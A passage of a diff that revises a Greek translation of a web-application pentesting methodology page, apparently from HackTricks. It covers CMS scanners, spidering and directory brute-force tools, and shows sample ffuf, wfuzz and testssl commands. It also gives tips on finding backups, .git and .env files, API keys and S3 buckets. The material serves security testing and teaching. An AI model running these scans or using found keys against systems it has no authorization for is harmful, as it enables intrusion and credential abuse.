Readme or Version** αρχείο ή κάτι με **πληροφορίες έκδοσης προσβάσιμες** μέσω web; - Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (usernames ή passwords); - Είναι οι **passwords** σε **plain text**, **encrypted** ή ποιος **hashing algorithm** χρησιμοποιείται; - Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάτι; Ποιος **algorithm** χρησιμοποιείται; -- Μπορείτε να **αποκτήσετε πρόσβαση σε κάποιο από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια; -- Υπάρχουν **ενδιαφέρουσες πληροφορίες στο github** (solved and not solved) **issues**; Ή στο **commit history** (ίσως κάποιο **password** εισήχθη σε κάποιο παλιό commit)? +- Μπορείτε να **προσπελάσετε κάποια από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια; +- Υπάρχουν **ενδιαφέρουσες πληροφορίες στο github** (solved και not solved) **issues**; Ή στο **commit history** (ίσως κάποιο **password εισήχθη σε παλιό commit**)? {{#ref}} @@ -137,10 +137,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### Σαρωτές CMS -Εάν χρησιμοποιείται CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρεθεί κάτι ενδιαφέρον: +Αν χρησιμοποιείται ένα CMS μην ξεχάσετε να **run a scanner**, ίσως βρεθεί κάτι ενδιαφέρον: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites for Security issues. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστότοποι για θέματα ασφάλειας. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ή** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -150,7 +150,7 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Σε αυτό το σημείο θα πρέπει να έχετε ήδη κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που να έχετε στο μυαλό σας κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, ίσως έχετε βρει ένα CMS και έχετε τρέξει κάποιο scanner. +> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (αν υπάρχουν δεδομένα) και μερικά κόλπα που πρέπει να έχετε στο μυαλό σας κατά τη διάρκεια του test. Αν είστε τυχεροί ίσως έχετε βρει ένα CMS και έχετε τρέξει κάποιο scanner. ## Βήμα-βήμα Ανακάλυψη Web Εφαρμογής @@ -158,37 +158,37 @@ joomlavs.rb #https://github.com/rastating/joomlavs ### Αρχικοί έλεγχοι -**Προεπιλεγμένες σελίδες με χρήσιμες πληροφορίες:** +**Προεπιλεγμένες σελίδες με ενδιαφέρουσες πληροφορίες:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Έλεγχος επίσης για σχόλια στις κύριες και δευτερεύουσες σελίδες. +- Ελέγξτε επίσης τα σχόλια στις κύριες και δευτερεύουσες σελίδες. **Πρόκληση σφαλμάτων** -Οι web servers μπορεί να **συμπεριφέρονται απρόβλεπτα** όταν αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή να οδηγήσει σε **αποκάλυψη ευαίσθητων πληροφοριών**. +Οι web servers μπορεί να **συμπεριφερθούν απρόβλεπτα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **vulnerabilities** ή να αποκαλύψει ευαίσθητες πληροφορίες. -- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc) +- Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.etc) - **Add "\[]", "]]", and "\[["** σε **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα -- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** -- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE +- Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** του **URL** +- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE -#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Αν διαπιστώσετε ότι το **WebDav** είναι **enabled** αλλά δεν έχετε επαρκή permissions για **uploading files** στον root φάκελο δοκιμάστε: +Αν διαπιστώσετε ότι το **WebDav** είναι **ενεργοποιημένο** αλλά δεν έχετε αρκετά δικαιώματα για το **ανέβασμα αρχείων** στον root φάκελο δοκιμάστε: - **Brute Force** credentials -- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. Ίσως έχετε δικαιώματα να ανεβάσετε αρχεία σε άλλους φακέλους. +- **Upload files** μέσω WebDav σε άλλα βρεθέντα folders μέσα στην ιστοσελίδα. Μπορεί να έχετε δικαιώματα να ανεβάσετε αρχεία σε αυτούς τους φακέλους. ### **SSL/TLS vulnerabilites** -- Αν η εφαρμογή **isn't forcing the user of HTTPS** σε κάποιο σημείο, τότε είναι **vulnerable to MitM** -- Αν η εφαρμογή **is sending sensitive data (passwords) using HTTP** τότε είναι υψηλή ευπάθεια. +- Αν η εφαρμογή **δεν αναγκάζει τη χρήση HTTPS** σε κανένα σημείο, τότε είναι **vulnerable to MitM** +- Αν η εφαρμογή **στέλνει ευαίσθητα δεδομένα (passwords) μέσω HTTP** τότε είναι υψηλή ευπάθεια. -Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για έλεγχο για **ευπάθειες** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για επανέλεγχο των ευπαθειών: +Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για έλεγχο για **vulnerabilities** (Σε Bug Bounty προγράμματα πιθανότατα αυτού του είδους οι ευπάθειες δεν θα γίνουν δεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -197,60 +197,60 @@ joomlavs.rb #https://github.com/rastating/joomlavs sslscan sslyze --regular ``` -Information about SSL/TLS vulnerabilities: +Πληροφορίες για SSL/TLS vulnerabilities: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Εκκινήστε κάποιο είδος **spider** μέσα στον ιστό. Στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερα paths** από την εφαρμογή που δοκιμάζεται. Επομένως, πρέπει να χρησιμοποιηθεί web crawling και εξωτερικές πηγές για να βρεθούν όσο το δυνατόν περισσότερα έγκυρα paths. +Εκκινήστε κάποιο είδος **spider** στο web. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερα paths** από την εφαρμογή που δοκιμάζεται. Επομένως, web crawling και εξωτερικές πηγές πρέπει να χρησιμοποιηθούν για να εντοπιστούν όσο το δυνατόν περισσότερα έγκυρα paths. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε JS αρχεία και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFider για JS αρχεία και Archive.org ως εξωτερική πηγή. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, δείχνει επίσης "juicy files". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Ψάχνει επίσης στο Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να φανεί χρήσιμο. Μπορείτε απλά να δώσετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα κάνει fetch κάθε path σε κάθε host και θα αποθηκεύσει την απόκριση. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες render JS. Φαίνεται όμως ότι δεν συντηρείται, η προ-συμπιεσμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε JS files και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFider για JS files και Archive.org ως εξωτερική πηγή. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, επίσης επισημαίνει "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Επίσης ψάχνει στο Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε να δώσετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα κάνει fetch κάθε path σε κάθε host και θα αποθηκεύσει την απόκριση. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με JS rendering δυνατότητες. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προ-συμπιεσμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται. - [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με parameters και θα τα απαριθμήσει. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες render JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανό να ψάχνει νέα paths σε JS αρχεία. Αξίζει επίσης να ρίξετε μια ματιά σε [JSScanner](https://github.com/dark-warlord14/JSScanner), που είναι wrapper του LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Εξαγωγή endpoints τόσο από HTML source όσο και από ενσωματωμένα javascript αρχεία. Χρήσιμο για bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 script που χρησιμοποιεί Tornado και JSBeautifier για να αναλύει relative URLs από JavaScript αρχεία. Χρήσιμο για εύκολη ανακάλυψη AJAX requests. Φαίνεται μη συντηρούμενο. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνες regular expressions για να βρει και να εξάγει relative URLs από minified αρχεία. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συλλέγει ενδιαφέρουσες πληροφορίες από JS αρχεία χρησιμοποιώντας πολλά εργαλεία. -- [**subjs**](https://github.com/lc/subjs) (go): Εντοπίζει JS αρχεία. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώνει μια σελίδα σε headless browser και εκτυπώνει όλα τα urls που φορτώθηκαν για να φορτωθεί η σελίδα. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool που συνδυάζει επιλογές από τα προηγούμενα εργαλεία. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια Burp extension για να βρει paths και params σε JS αρχεία. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Εργαλείο που, δεδομένου του .js.map URL, θα πάρει τον beautified JS κώδικα. +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με parameter και θα τα καταγράψει. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με JS rendering δυνατότητες. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με JS beautify δυνατότητες ικανές να αναζητήσουν νέα paths σε JS files. Αξίζει επίσης να δείτε το [JSScanner](https://github.com/dark-warlord14/JSScanner), που είναι wrapper του LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Εξαγωγή endpoints τόσο από HTML source όσο και από embedded javascript files. Χρήσιμο για bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα python 2.7 script που χρησιμοποιεί Tornado και JSBeautifier για να κάνει parse relative URLs από JavaScript files. Χρήσιμο για εύκολη ανακάλυψη AJAX requests. Φαίνεται μη συντηρημένο. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs χρησιμοποιώντας καλοφτιαγμένα regular expressions για να βρει και να εξάγει relative URLs από ugly (minify) αρχεία. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συλλέγει ενδιαφέρουσες πληροφορίες από JS files χρησιμοποιώντας πολλά εργαλεία. +- [**subjs**](https://github.com/lc/subjs) (go): Βρίσκει JS files. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώνει μια σελίδα σε headless browser και τυπώνει όλα τα urls που φορτώνονται για τη σελίδα. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool που συνδυάζει πολλές επιλογές από τα προηγούμενα εργαλεία. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια Burp extension για να βρει path και params σε JS files. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που, δεδομένου του .js.map URL, θα σας φέρει τον beautified JS κώδικα. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Εργαλείο για ανακάλυψη endpoints για έναν στόχο. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύπτει links από το wayback machine (κατεβάζοντας επίσης τις απαντήσεις από το wayback και ψάχνοντας για περισσότερα links). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρίσκει ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένα regexes. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα advanced multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες ασφάλειας. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Πακέτο Go και [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για εξαγωγή URLs, paths, secrets και άλλων ενδιαφερόντων δεδομένων από JavaScript source code. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge είναι μια απλή **Burp Suite extension** για **εξαγωγή των paramters και endpoints** από τα requests για δημιουργία custom wordlist για fuzzing και enumeration. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύπτει links από το wayback machine (επίσης κατεβάζει τις αποκρίσεις στο wayback και ψάχνει για περισσότερα links). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας forms) και βρίσκει επίσης sensitive info χρησιμοποιώντας συγκεκριμένα regexes. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα advanced multi-feature GUI web security Crawler/Spider σχεδιασμένο για cyber security professionals. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα Go package και [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για εξαγωγή URLs, paths, secrets και άλλων ενδιαφερουσών πληροφοριών από JavaScript source code. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge είναι ένα απλό **Burp Suite extension** για **εξαγωγή των parameters και endpoints** από τα requests για να δημιουργήσει custom wordlist για fuzzing και enumeration. - [**katana**](https://github.com/projectdiscovery/katana) (go): Εξαιρετικό εργαλείο για αυτό. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε link που μπορεί να βρει. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Τυπώνει κάθε link που μπορεί να βρει. ### Brute Force directories and files -Ξεκινήστε το **brute-forcing** από τον root φάκελο και βεβαιωθείτε ότι θα brute-force **όλους** τους **καταλόγους που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλους τους καταλόγους **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και να προσθέσετε στην αρχή της wordlist τα ονόματα των φακέλων που βρέθηκαν).\ +Αρχίστε το **brute-forcing** από τον root φάκελο και βεβαιωθείτε ότι θα brute-force **όλους** τους **directories** που βρέθηκαν χρησιμοποιώντας **this method** και όλους τους directories **ανακαλυφθέντες** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **recursively** και να προσθέσετε στην αρχή της used wordlist τα ονόματα των φακέλων που βρέθηκαν).\ Εργαλεία: -- **Dirb** / **Dirbuster** - Περιλαμβάνονται στο Kali, **παλιά** (και **αργά**) αλλά λειτουργικά. Επιτρέπουν auto-signed certificates και recursive search. Πολύ αργά συγκριτικά με τις άλλες επιλογές. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει auto-signed certificates αλλά** υποστηρίζει recursive search. +- **Dirb** / **Dirbuster** - Περιλαμβάνεται στο Kali, **παλιά** (και **αργή**) αλλά λειτουργική. Επιτρέπει auto-signed certificates και recursive search. Πολύ αργή σε σύγκριση με τις άλλες επιλογές. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει auto-signed certificates αλλά** επιτρέπει recursive search. - [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει auto-signed certificates, δεν έχει **recursive** search. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που, δοθέντος της λίστας των βρεθέντων URLs, θα διαγράψει "duplicated" URLs. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension για να δημιουργήσει λίστα directories από το burp history διαφορετικών σελίδων. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με διπλότυπες λειτουργικότητες (με βάση js imports). -- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να ανιχνεύσει τις τεχνολογίες που χρησιμοποιούνται και να επιλέξει τις wordlists που θα χρησιμοποιηθούν. +- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που, δεδομένης της λίστας με τα βρεθέντα URLs, θα διαγράψει "duplicated" URLs. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension για να δημιουργεί λίστα directories από το burp history διαφορετικών σελίδων. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με duplicated λειτουργικότητες (βασισμένο σε js imports). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να εντοπίσει τις τεχνολογίες που χρησιμοποιούνται και να επιλέξει τις κατάλληλες wordlists. -Συνιστώμενα dictionaries: +**Συνιστώμενα dictionaries:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -269,41 +269,41 @@ Information about SSL/TLS vulnerabilities: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας καινούριος κατάλογος κατά το brute-forcing ή το spidering, θα πρέπει να γίνεται Brute-Forced._ +_Σημείωση ότι κάθε φορά που ανακαλύπτεται ένας νέος directory κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνεται Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε broken links μέσα σε HTML που μπορεί να είναι ευάλωτα σε takeover. -- **File Backups**: Μόλις βρείτε όλα τα αρχεία, ψάξτε για backups όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Συνηθισμένες παραλλαγές ονοματοδοσίας backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε τα εργαλεία [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφά parameters. Αν μπορείτε, δοκιμάστε να ψάξετε** κρυφά parameters σε κάθε εκτελέσιμο web αρχείο. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε broken links μέσα σε HTMLs που μπορεί να είναι επιρρεπή σε takeovers +- **File Backups**: Μόλις έχετε βρει όλα τα αρχεία, ψάξτε για backups όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές ονομάτων backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφά parameters. Αν μπορείτε, δοκιμάστε να αναζητήσετε** κρυφά parameters σε κάθε εκτελέσιμο web αρχείο. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Ελέγξτε τα comments όλων των αρχείων — μπορεί να βρείτε **credentials** ή **κρυφή λειτουργικότητα**. -- Αν παίζετε **CTF**, ένα "συνηθισμένο" κόλπο είναι να **κρύψετε** **πληροφορία** μέσα σε comments στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **spaces** ώστε να μην βλέπετε τα δεδομένα όταν ανοίγετε τον source με τον browser). Άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλά νέα lines** και να **κρύψετε πληροφορίες** σε ένα comment στο **κάτω** μέρος της σελίδας. -- **API keys**: Αν **βρείτε κάποιο API key** υπάρχει οδηγός που δείχνει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- **Comments:** Ελέγξτε τα comments όλων των αρχείων, μπορεί να βρείτε **credentials** ή **hidden functionality**. +- Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύψετε** **πληροφορία** μέσα σε comments στα δεξιά της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **spaces** ώστε να μην φαίνεται το δεδομένο αν ανοίξετε τον source με τον browser). Άλλη πιθανότητα είναι να χρησιμοποιήσετε **αρκετά new lines** και να **κρύψετε πληροφορία** σε ένα comment στο **bottom** της σελίδας. +- **API keys**: Αν βρείτε κάποιο API key υπάρχει οδηγός που δείχνει πώς να χρησιμοποιήσετε API keys από διάφορες πλατφόρμες: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες apis μπορεί να προσπελάσει το key. -- **S3 Buckets**: Κατά την spidering ελέγξτε αν κάποιο **subdomain** ή κάποιο **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτήν την περίπτωση, [**ελέγξτε** τα **permissions** του bucket](buckets/index.html). +- **S3 Buckets**: Καθ' όλη τη διάρκεια του spidering δείτε αν οποιοδήποτε **subdomain** ή οποιοδήποτε **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τα **permissions** του bucket](buckets/index.html). ### Special findings -Κατά τη διάρκεια του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **αντικείμενα** που πρέπει να προσέξετε. +Κατά την εκτέλεση του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να προσέξετε. **Interesting files** -- Ψάξτε για **links** σε άλλα αρχεία μέσα σε **CSS** αρχεία. -- [Αν βρείτε ένα _**.git**_ αρχείο, μπορούν να εξαχθούν πληροφορίες](git.md) -- Αν βρείτε ένα _**.env**_ μπορεί να βρεθούν πληροφορίες όπως api keys, db passwords και άλλες πληροφορίες. -- Αν βρείτε **API endpoints** θα πρέπει να [τα δοκιμάσετε κι αυτά](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα "θα φαίνονται" σαν αρχεία. -- **JS files**: Στην ενότητα spidering αναφέρθηκαν αρκετά εργαλεία που μπορούν να εξάγουν paths από JS αρχεία. Επίσης, είναι ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε κάποιες περιπτώσεις μια αλλαγή μπορεί να υποδηλώνει ότι έχει εισαχθεί μια νέα ευπάθεια στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.** -- Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα. +- Ψάξτε για **links** προς άλλα αρχεία μέσα σε **CSS** files. +- [Αν βρείτε ένα _**.git**_ αρχείο κάποιες πληροφορίες μπορούν να εξαχθούν](git.md) +- Αν βρείτε ένα _**.env**_ μπορεί να βρεθούν πληροφορίες όπως api keys, dbs passwords και άλλες ευαίσθητες πληροφορίες. +- Αν βρείτε **API endpoints** θα πρέπει να [τα δοκιμάσετε επίσης](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα "θα μοιάζουν" με αρχεία. +- **JS files**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν paths από JS files. Επίσης, είναι ενδιαφέρον να **παρακολουθείτε κάθε JS file που βρέθηκε**, καθώς σε κάποιες περιπτώσεις μια αλλαγή μπορεί να υποδεικνύει ότι εισήχθη μια πιθανή ευπάθεια στον κώδικα. 